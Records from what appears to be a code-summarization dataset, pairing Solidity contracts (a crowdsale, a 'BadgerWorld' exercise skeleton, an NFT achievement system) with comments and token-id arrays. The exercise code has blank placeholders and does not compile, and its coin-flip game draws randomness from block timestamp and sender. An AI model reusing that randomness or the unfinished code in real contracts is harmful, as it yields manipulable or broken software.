* This function has a non-reentrancy guard, so it shouldn't be called by
* another `nonReentrant` function.
* @param beneficiary Recipient of the token purchase
*/
function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount;
uint256 tokens;
weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
if (now >= _startStage1 && now < _startStage2){
require(whitelist[msg.sender] == 1);
// calculate token amount to be created
tokens = _getTokenAmount(weiAmount);
// update state
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens);
_forwardFunds();
}
if (now >= _startStage2 && now < _startStage2 + 272 * 1 days){
_totalNumberPayments = _totalNumberPayments + 1;
_paymentAddress[_totalNumberPayments] = msg.sender;
_paymentValue[_totalNumberPayments] = msg.value;
_paymentDay[_totalNumberPayments] = _getDayNumber();
_totalAmountDay[_getDayNumber()] = _totalAmountDay[_getDayNumber()] + msg.value;
_forwardFunds();
}
}
function makePayment(uint256 numberPayments) public onlyOwner{
address addressParticipant;
uint256 paymentValue;
uint256 dayNumber;
uint256 totalPaymentValue;
uint256 tokensAmount;
if (numberPayments > _totalNumberPayments.sub(_numberPaidPayments)){
numberPayments = _totalNumberPayments.sub(_numberPaidPayments);
}
uint256 startNumber = _numberPaidPayments.add(1);
uint256 endNumber = _numberPaidPayments.add(numberPayments);
for (uint256 i = startNumber; i <= endNumber; ++i) {
if (_paymentFlag[i] != 1){
dayNumber = _paymentDay[i];
if (_getDayNumber() > dayNumber){
addressParticipant = _paymentAddress[i];
paymentValue = _paymentValue[i];
totalPaymentValue = _totalAmountDay[dayNumber];
tokensAmount = _amountTokensPerDay.mul(paymentValue).div(totalPaymentValue);
_token.safeTransfer(addressParticipant, tokensAmount);
_paymentFlag[i] = 1;
_numberPaidPayments = _numberPaidPayments + 1;
}
}
}
}
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met.
* Use `super` in contracts that inherit from Crowdsale to extend their validations.
* Example from CappedCrowdsale.sol's _preValidatePurchase method:
* super._preValidatePurchase(beneficiary, weiAmount);
* require(weiRaised().add(weiAmount) <= cap);
* @param beneficiary Address performing the token purchase
* @param weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
require(beneficiary != address(0));
require(weiAmount != 0);
require(weiAmount >= _minPay);
require(weiAmount <= _maxPay);
require(now >= _startStage1 && now <= _startStage2 + 272 * 1 days);
}
function _getAmountUnpaidPayments() public view returns (uint256){
return _totalNumberPayments.sub(_numberPaidPayments);
}
function _getDayNumber() internal view returns (uint256){
return ((now.add(1 days)).sub(_startStage2)).div(1 days);
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends
* its tokens.
* @param beneficiary Address performing the token purchase
* @param tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
_token.safeTransfer(beneficiary, tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Doesn't necessarily emit/send
* tokens.
* @param beneficiary Address receiving the tokens
* @param tokenAmount Number of tokens to be purchased
*/
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
_deliverTokens(beneficiary, tokenAmount);
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
// tokensAmount = weiAmount.mul(_rateETHEUR).mul(10000).div(_rate);
// return weiAmount.mul(_rate);
uint256 bonus;
if (now >= _startStage1 && now < _startStage1 + 5 * 1 days){
bonus = 20;
}
if (now >= _startStage1 + 5 * 1 days && now < _startStage1 + 10 * 1 days){
bonus = 10;
}
if (now >= _startStage1 + 10 * 1 days && now < _startStage1 + 15 * 1 days){
bonus = 0;
}
return weiAmount.mul(1000000).div(_rate) + (weiAmount.mul(1000000).mul(bonus).div(_rate)).div(100);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
} | * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use `super` in contracts that inherit from Crowdsale to extend their validations. Example from CappedCrowdsale.sol's _preValidatePurchase method: super._preValidatePurchase(beneficiary, weiAmount); require(weiRaised().add(weiAmount) <= cap); @param beneficiary Address performing the token purchase @param weiAmount Value in wei involved in the purchase/ | function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
require(beneficiary != address(0));
require(weiAmount != 0);
require(weiAmount >= _minPay);
require(weiAmount <= _maxPay);
require(now >= _startStage1 && now <= _startStage2 + 272 * 1 days);
}
| 12,885,682 | [
1,
4354,
434,
392,
6935,
23701,
18,
2672,
2583,
6317,
358,
15226,
919,
1347,
4636,
854,
486,
5100,
18,
2672,
1375,
9565,
68,
316,
20092,
716,
6811,
628,
385,
492,
2377,
5349,
358,
2133,
3675,
20808,
18,
5090,
628,
11200,
1845,
39,
492,
2377,
5349,
18,
18281,
1807,
389,
1484,
4270,
23164,
707,
30,
377,
2240,
6315,
1484,
4270,
23164,
12,
70,
4009,
74,
14463,
814,
16,
732,
77,
6275,
1769,
377,
2583,
12,
1814,
77,
12649,
5918,
7675,
1289,
12,
1814,
77,
6275,
13,
1648,
3523,
1769,
225,
27641,
74,
14463,
814,
5267,
14928,
326,
1147,
23701,
225,
732,
77,
6275,
1445,
316,
732,
77,
24589,
316,
326,
23701,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
1484,
4270,
23164,
12,
2867,
27641,
74,
14463,
814,
16,
2254,
5034,
732,
77,
6275,
13,
2713,
1476,
288,
203,
3639,
2583,
12,
70,
4009,
74,
14463,
814,
480,
1758,
12,
20,
10019,
203,
3639,
2583,
12,
1814,
77,
6275,
480,
374,
1769,
203,
3639,
2583,
12,
1814,
77,
6275,
1545,
389,
1154,
9148,
1769,
7010,
3639,
2583,
12,
1814,
77,
6275,
1648,
389,
1896,
9148,
1769,
203,
3639,
2583,
12,
3338,
1545,
389,
1937,
8755,
21,
597,
2037,
1648,
389,
1937,
8755,
22,
397,
576,
9060,
380,
404,
4681,
1769,
203,
540,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "../node_modules/hardhat/console.sol";
import "./Badger.sol";
/**
* @notice this contract implements the game functions on Badger.sol outlined in README.md
*/
contract BadgerWorld is Badger {
// Global variables
// randNonce increases by 1 everytime we use it to calculate a random number
// Note: this is psuedorandom and is not perfect, but it is okay for our use
uint256 randNonce = 0;
// This is the default win probability when a badger attacks another badger
// we add onto it if the level is higher
// In theory a higher level badger should win more often
uint8 winProbability = 50;
/*///////////////////////////////////////////////////////////////////
GAME MECHANIC FUCNTIONS
///////////////////////////////////////////////////////////////////*/
/**
* @notice this function allows a Badger to claim daily xp
* Logic:
* if < 24 hours have passed, Badger must wait for reward
* if >= 24 hours have passed, xp is claimed
* if > 48 hours have passed, reward bonus returns to 0
*
* @param _badgerId is the badger who is claiming the reward
*/
function claimDailyXp(uint256 _badgerId) external onlyOwnerOf(_badgerId) {
// 1) grab variables that are going to be used often
// ie, the BadgerToken and timestamp
// Note: we are going to be using the readyFor... variables in BadgerToken
require(/* 2) require that you must wait 24 hours from the last reward*/, "You must wait 24 hours since the last time.");
if (/* 3) write if statement for wait between 24-48 hrs*/) {
// Now increase the daily reward
uint8 _days; // local variable to make this easier to implement
// 4) use an if statement to check the _badger.daily Streak and set it to _days
// If the streak is over maxStreak you can default _days to maxStreak
// 5) Calculate the xp reward using _calculateXpReward()
// 6) increase the badger's xp and daily streak
} else {
// missed daily reward bonus
// 7) default badger's daily reward to 1
// calculate and increase the badger's xp reward with 1 day
}
// 8) reset the badger's readyForReward by (stamp + xpCooldown)
}
/**
* @notice functionality for attacking other Badgers once every 12 HOURS
*
* @param _attackId is the BadgerToken id that is attacking
* @param _defenseId is the BadgerToken being attacked (on defense)
*/
function attackBadger(uint256 _attackId, uint256 _defenseId) external onlyOwnerOf(_attackId) {
// Note: the rest of these functions take a similar structure to the one above
// 1) grab BadgerToken's of both ids and store on chain (ie, storage variables)
require(/* 2) ensure that the attacking badger can attack once ever 12 hours */, "Can attack once every 12 hours.");
// Calculate the win probability by adding the level to winProbability
// Attack badger has _winChance % liklihood to win
uint8 _winChance = uint8(winProbability + _attackBadger.level);
// 3) get a random number from 1-100 using _randomizer()
// Picking the winner based off the random number
if (_randNum < _winChance) {
// attacking Badger wins
// 4) increase wins and increase losses for badgers
// 5) increase the xp for the attacking badger by _calculateXpReward(level)
} else {
// attacking badger loses
// 6) increase wins and loses correctly
// 7) if the defending badger wins increase its xp by the amount the attacking
// badger would have won.
}
// 8) reset attacking badger readyForAttack like the above method
}
/**
* @notice this function simulates a coin flip by using _randomizer(2)
* Logic:
* The owner can bet their xp on a coin flip once every HOUR
* If they win, they double their xp
* If they lose, they lose _xpBet/2
*
* @param _badgerId is the Badger making the coin flip bet
* @param _xpBet is the xp bet. Can ONLY bet as much as they have for that level.
* @param _guess is either 0 (heads) or 1(tails)
*/
function coinFlip(uint256 _badgerId, uint8 _xpBet, uint256 _guess) external onlyOwnerOf(_badgerId) {
require(/* 1) add statement that follows the string to the right */, "Must wait 1 hour between coinflips.");
require(/* 2) statement that follows the string to the right */, "You cannot bet more XP than you have.");
// 3) simiulate a coin flip using _randomizer
uint256 randNum = /* call function */;
if (/* 4) Check if the randNum equals the guess*/) {
// won coin flip
// 5) increase _badgerId xp by the bet
} else {
// lost coinflip
// 6) decrease the _badgerId xp by the bet/2
}
// reset coin flip clock
badgers[_badgerId].readyForCoinFlip = block.timestamp + flipCooldown;
}
/**
* @notice This function will give a Badger an xp reward or possibly hurt their xp
* Logic:
* An xp reward is much more likely (90% chance)
* (+) reward = level*rewardMultiplier + 20
* (-) reward = level + 20
*
* @param _badgerId is the Badger calling this function
*/
function talkToBucky(uint256 _badgerId) external onlyOwnerOf(_badgerId) {
// Challenge function: Try it yourself following the function spec
// get random number to figure out if reward is positive or negative
// reset readyForBuckyReward
}
/*///////////////////////////////////////////////////////////////////
HELPER FUNCTIONS
///////////////////////////////////////////////////////////////////*/
/**
* @notice generates a random number from [0-_mod]
*
* @param _mod is the max number you could get from the function
*/
function _randomizer(uint256 _mod) private returns(uint256) {
// 1) increase the nonce by 1
// we are providing the other statement, because we just copied it, lol'
return uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender, randNonce))) % _mod;
}
/**
* @notice calculates the xp reward with different values
* reward = _multiplier^rewardFactor + 50
*
* @param _multiplier is the factor that dictates the reward
*/
function _calculateXpReward(uint8 _multiplier) private view returns(uint8) {
// 1) do the calculation outlined in the fucntion spec
}
}
| reset coin flip clock | badgers[_badgerId].readyForCoinFlip = block.timestamp + flipCooldown;
| 1,040,095 | [
1,
6208,
13170,
9668,
7268,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
5570,
6215,
63,
67,
8759,
693,
548,
8009,
1672,
1290,
27055,
28535,
273,
1203,
18,
5508,
397,
9668,
39,
1371,
2378,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/3/0x300f9a7CBaE6ba7FfF1dBa2610c269F47e4b8458/sources/contracts/DNTfixedPointMath.sol | XOR over sx and sy. This is basically checking whether the inputs have the same sign. If yes, the result should be positive. Otherwise, it should be negative. | result = sx ^ sy == 1 ? -int256(rAbs) : int256(rAbs);
| 8,122,195 | [
1,
60,
916,
1879,
13280,
471,
1393,
18,
1220,
353,
23772,
6728,
2856,
326,
4540,
1240,
326,
1967,
1573,
18,
971,
12465,
16,
326,
563,
1410,
506,
6895,
18,
5272,
16,
518,
1410,
506,
6092,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
563,
273,
13280,
3602,
1393,
422,
404,
692,
300,
474,
5034,
12,
86,
9382,
13,
294,
509,
5034,
12,
86,
9382,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "base64-sol/base64.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "./IAchievement.sol";
import "./AchievementModel.sol";
import "hardhat/console.sol";
/**
* @title Achievement
* @author @StErMi
* @notice A general purpose Achievement System for the FTM ecosystem
*/
contract Achievement is ERC721Enumerable {
using Strings for uint256;
using Counters for Counters.Counter;
/// @notice Metadata ID tracker
Counters.Counter private _metadataId;
/// @notice Achievement ID tracker
Counters.Counter private _achievementId;
/// @notice Registered achievement metadats from contracts
mapping(uint256 => AchievementModel.Metadata) private metadatas;
/// @notice List of achievements awarded to a user
mapping(address => AchievementModel.Achievement[]) private userAchievements;
/// @notice NFT ID -> Achievement tracker
mapping(uint256 => AchievementModel.Achievement) private achievements;
/// @notice Fast check ownership of an achievement metadata
mapping(address => mapping(uint256 => bool)) private _ownerships;
/// @notice event emitted when an achievement is awarded to a user
event AchievementAwarded(
address indexed receiver,
uint256 indexed tokenId,
uint256 indexed metadataId,
address source,
string sourceName,
AchievementModel.Rarity rarity,
string title,
uint256 points,
uint256 timestamp
);
/// @notice event emitted when an achievement metadata is registered by a contract
event AchievementRegistered(
address indexed source,
uint256 indexed metadataId,
string sourceName,
AchievementModel.Rarity rarity,
string title,
uint256 points
);
/// @notice Constructor
constructor() ERC721("FTM Achievement", "FTMACK") {}
/**
* @notice Function used by external contract to register achievement metadata
* @param metadata Metadata of the achievement
* @return metadataId The ID of the registered achievement metadata
*/
function registerAchievement(AchievementModel.Metadata memory metadata) external returns (uint256 metadataId) {
checkMetadata(metadata);
_metadataId.increment();
metadata.source = msg.sender;
metadata.id = _metadataId.current();
metadatas[metadata.id] = metadata;
emit AchievementRegistered(
metadata.source,
metadata.id,
metadata.sourceName,
metadata.rarity,
metadata.title,
metadata.points
);
return metadata.id;
}
/**
* @notice Function used by external contract to award an achievement to a receiving wallet
* @param receiver Address of the wallet that will receive the achievement
* @param metadataId ID of the achievement metadata
*/
function awardAchievement(address receiver, uint256 metadataId)
external
returns (bool success, string memory failMessage)
{
AchievementModel.Metadata storage metadata = metadatas[metadataId];
if (metadata.source == address(0)) return (false, "Requested metadata not exist");
if (metadata.source != msg.sender) return (false, "You are not the owner of the metadata");
if (receiver == msg.sender) return (false, "Source can't award itself");
if (_ownerships[receiver][metadataId] == true) return (false, "Wallet already own the achievement");
// get the current achievement ID
uint256 currentAchievementId = _achievementId.current();
// Add the ownership to the summoner
_ownerships[receiver][metadataId] = true;
// Add the achievement to the summoner's list
uint256 timestamp = block.timestamp;
// AchievementModel.Achievement storage achievement = AchievementModel.Achievement(metadataId, currentAchievementId, receiver, timestamp);
userAchievements[receiver].push(
AchievementModel.Achievement(metadataId, currentAchievementId, receiver, timestamp)
);
achievements[currentAchievementId] = AchievementModel.Achievement(
metadataId,
currentAchievementId,
receiver,
timestamp
);
emit AchievementAwarded(
receiver,
currentAchievementId,
metadataId,
metadata.source,
metadata.sourceName,
metadata.rarity,
metadata.title,
metadata.points,
timestamp
);
_safeMint(receiver, currentAchievementId);
_achievementId.increment();
return (true, "");
}
/////////////////////////
// External Utilities
/////////////////////////
/**
* @notice Get achievement metadata by providing a metadataId
* @param metadataId ID of the achievement metadata
* @return List of achievements
*/
function getMetadata(uint256 metadataId) external view returns (AchievementModel.Metadata memory) {
return metadatas[metadataId];
}
/**
* @notice Get achievement expanded information by providing a achievementId
* @param achievementId ID of the achievement
* @return Data of the requested achievement
*/
function getAchievement(uint256 achievementId) external view returns (AchievementModel.AchievementExpanded memory) {
AchievementModel.Achievement storage _achievement = achievements[achievementId];
AchievementModel.Metadata memory metadata = metadatas[_achievement.metadataId];
return
AchievementModel.AchievementExpanded({
metadata: metadata,
achievementId: achievementId,
user: _achievement.user,
timestamp: _achievement.timestamp
});
}
/**
* @notice Check if a user has been awarded with an achievement
* @param user Address of the user
* @param metadataId Achievement Metadata ID
* @return true if he already has the achievement
*/
function hasAchievement(address user, uint256 metadataId) external view returns (bool) {
return _ownerships[user][metadataId];
}
/**
* @notice Get the total achievement points collected by the summoner
* @param user Address of the user
* @param sources List of whitelisted contracts to filter achievements with. Can be empty.
* @return amount of achievement points
*/
function getPoints(address user, address[] memory sources) external view returns (uint256) {
(, , uint256 points) = filterAchievements(user, sources);
return points;
}
/**
* @notice Get list of achievements owned by the summoner
* @param user Address of the user
* @param sources List of whitelisted contracts to filter achievements with. Can be empty.
* @param offset Position from which start
* @param limit Amount of achievements to return
* @return List of achievements owned by the user
*/
function getAchievements(
address user,
address[] memory sources,
uint256 offset,
uint256 limit
) external view returns (AchievementModel.AchievementExpanded[] memory) {
(AchievementModel.AchievementExpanded[] memory _tempList, uint256 maxWhitelistedLength, ) = filterAchievements(
user,
sources
);
uint256 safeLimit = limit == 0 ? 2**32 - 1 : limit;
if (safeLimit > maxWhitelistedLength) {
require(maxWhitelistedLength >= offset, "Offset is greater than number of records available");
}
uint256 maxLen = safeLimit > maxWhitelistedLength ? maxWhitelistedLength - offset : safeLimit;
AchievementModel.AchievementExpanded[] memory _achievements = new AchievementModel.AchievementExpanded[](
maxLen
);
for (uint256 i = 0; i < maxLen; i++) {
_achievements[i] = _tempList[offset + i];
}
return _achievements;
}
/////////////////////////
// Internal Utilities
/////////////////////////
/**
* @dev Filter summoner's achievement by the list of whitelisted sources
*/
function filterAchievements(address user, address[] memory sources)
internal
view
returns (
AchievementModel.AchievementExpanded[] memory,
uint256,
uint256
)
{
// Get the correct length
uint256 achievementCount = userAchievements[user].length;
uint256 points = 0;
AchievementModel.AchievementExpanded[] memory _tempList = new AchievementModel.AchievementExpanded[](
achievementCount
);
uint256 maxWhitelistedLength = 0;
for (uint256 i = 0; i < achievementCount; i++) {
AchievementModel.Achievement storage _achievement = userAchievements[user][i];
AchievementModel.Metadata memory metadata = metadatas[_achievement.metadataId];
bool whitelisted = false;
if (sources.length > 0) {
for (uint256 j = 0; j < sources.length; j++) {
if (metadata.source == sources[j]) {
whitelisted = true;
break;
}
}
if (whitelisted == false) {
// skip this achivement
continue;
}
}
points += metadata.points;
AchievementModel.AchievementExpanded memory achievement = AchievementModel.AchievementExpanded({
metadata: metadata,
achievementId: _achievement.achievementId,
user: _achievement.user,
timestamp: _achievement.timestamp
});
_tempList[maxWhitelistedLength] = achievement;
maxWhitelistedLength++;
}
return (_tempList, maxWhitelistedLength, points);
}
/**
* @dev Check the integrity of a achievement metadata
*/
function checkMetadata(AchievementModel.Metadata memory _metadata) internal pure {
require(
_metadata.rarity >= AchievementModel.Rarity.Common && _metadata.rarity <= AchievementModel.Rarity.Legendary,
"Invalid rarity"
);
require(bytes(_metadata.sourceName).length > 0, "Source Name must not be empty");
require(bytes(_metadata.title).length > 0, "Title must not be empty");
require(bytes(_metadata.description).length > 0, "Description must not be empty");
require(_metadata.points > 0, "Points must be greater than 0");
}
/////////////////////////
// ERC721 overrides
/////////////////////////
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "token does not exist");
AchievementModel.Achievement storage _achievement = achievements[tokenId];
AchievementModel.Metadata memory metadata = metadatas[_achievement.metadataId];
string[11] memory parts;
parts[
0
] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: white; font-family: serif; font-size: 14px; }</style><rect width="100%" height="100%" fill="black" /><text x="10" y="20" class="base">';
parts[1] = string(abi.encodePacked("Source: ", metadata.sourceName));
parts[2] = '</text><text x="10" y="40" class="base">';
parts[3] = string(abi.encodePacked("Title: ", metadata.title));
parts[4] = '</text><text x="10" y="60" class="base">';
parts[5] = string(abi.encodePacked("Description: ", metadata.description));
parts[6] = '</text><text x="10" y="80" class="base">';
parts[7] = string(abi.encodePacked("Rarity: ", uint256(metadata.rarity).toString()));
parts[8] = '</text><text x="10" y="100" class="base">';
parts[9] = string(abi.encodePacked("Points: ", metadata.points.toString()));
parts[10] = "</text></svg>";
string memory output = string(
abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8])
);
output = string(abi.encodePacked(output, parts[9], parts[10]));
string memory json = Base64.encode(
bytes(
string(
abi.encodePacked(
'{"name": "Archievement #',
tokenId.toString(),
'", "description": "FTM Achievement to track user achievements and engagement with the platform", "image": "data:image/svg+xml;base64,',
